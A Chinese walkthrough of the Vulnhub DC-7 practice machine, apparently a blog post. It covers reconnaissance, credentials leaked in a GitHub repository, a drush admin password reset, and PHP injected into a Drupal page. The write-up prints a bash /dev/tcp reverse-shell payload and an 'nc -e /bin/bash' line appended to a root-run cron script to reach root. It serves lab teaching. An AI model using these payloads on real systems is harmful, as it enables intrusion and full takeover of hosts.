Vulnhub靶场案例渗透[7]- DC7

文章目录

  • [1. 靶场搭建](#1. 靶场搭建)
  • [2. 信息收集](#2. 信息收集)
    • [2.1 确定靶机ip](#2.1 确定靶机ip)
    • [2.2 服务信息收集](#2.2 服务信息收集)
    • [2.3 社工信息收集](#2.3 社工信息收集)
  • [3. 提权](#3. 提权)

1. 靶场搭建

靶场源地址

检验下载文件的检验码,对比没问题使用vmware打开

bash 复制代码
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

2. 信息收集

2.1 确定靶机ip

安装之后直接显示了靶机的ip。

2.2 服务信息收集

通过nmap探测靶机开放端口和端口对应服务

bash 复制代码
nmap -Ap 1-65535  192.168.6.102

确定开放端口:

  • 22:ssh服务
  • 80: http服务,并且由apache服务器启动

2.3 社工信息收集

访问网站发现,并且根据靶场提示信息暴力登录肯定不行,在查看到DC7USER,尝试在github进行搜索用户查询,找到代码的源代码仓库。

在代码仓库中发现config.php里面记录了账号密码信息。尝试页面登录失败,尝试ssh登录成功。

3. 提权

常见提权方法可参考我之前的文章常见提升权限方法

尝试SUID进行提权, 发现没有可利用的提权的文件

bash 复制代码
# 查找设置suid标志的文件
find / -perm --4000 -type f

尝试使用sudo进行提权,发现没有sudo这个命令,提权失败。

发现账号经常受到mail提醒,查看mail信息,发现有个定时任务定时执行一个脚本,并且执行身份设置为root,可以利用这个脚本进行提权。

查看对应脚本的权限信息,发现当前用户没有权限进行修改,需要用户组为www-data的用户才能进行修改,接下来得获取到www-data用户的shell才能进行提权。

发现web页面对应apache启动用户就是www-data.所以又转到web页面去了。

bash 复制代码
# 查询与某个用户相关的进程
ps -fu www-data

查看那个脚本内容,发现一个drush可以控制drupal框架,查看drush的文档发现可以直接更改用户的密码文档地址

复制代码
```bash
# 脚本内容
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

更改之后在wen页面登录成功。

bash 复制代码
# 更改admin的密码
drush user-password admin --password=admin

进入后台管理,发现在新建内容可以新建Basic page,大概就是全局页面都会引入这个内容,但是新建内容的时候发现不能写php文件,百度搜索发现添加插件可以解决,然后在拓展处添加php相关插件。插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

在这个页面启用php拓展

新建basic-content添加如下内容,点击发布,成功获取到反弹sehll

php 复制代码
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.6.106/8888 0>&1'");
?>
bash 复制代码
# kali执行
nc -lvp 8888
bash 复制代码
# 创建一个伪终端,提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'

拿到shell之后,修改backups.sh的内容,利用定时任务执行反弹sehll获取root权限。根据dc7user的邮件记录,应该是15分钟执行一次。

bash 复制代码
echo 'nc -e /bin/bash 192.168.6.106 7777' >> /opt/scripts/backups.sh

成功获取到root的shell,在root的家目录下成功获取到目标flag。

相关推荐
cg501719 小时前
Spring Boot 的配置文件
java·linux·spring boot
暮云星影19 小时前
三、FFmpeg学习笔记
linux·ffmpeg
rainFFrain19 小时前
单例模式与线程安全
linux·运维·服务器·vscode·单例模式
GalaxyPokemon19 小时前
Muduo网络库实现 [九] - EventLoopThread模块
linux·服务器·c++
mingqian_chu20 小时前
ubuntu中使用安卓模拟器
android·linux·ubuntu
GalaxyPokemon21 小时前
Muduo网络库实现 [十] - EventLoopThreadPool模块
linux·服务器·网络·c++
自由鬼21 小时前
开源虚拟化管理平台Proxmox VE部署超融合
linux·运维·服务器·开源·虚拟化·pve
瞌睡不来21 小时前
(学习总结32)Linux 基础 IO
linux·学习·io
inquisiter1 天前
UEFI镜像结构布局
linux·spring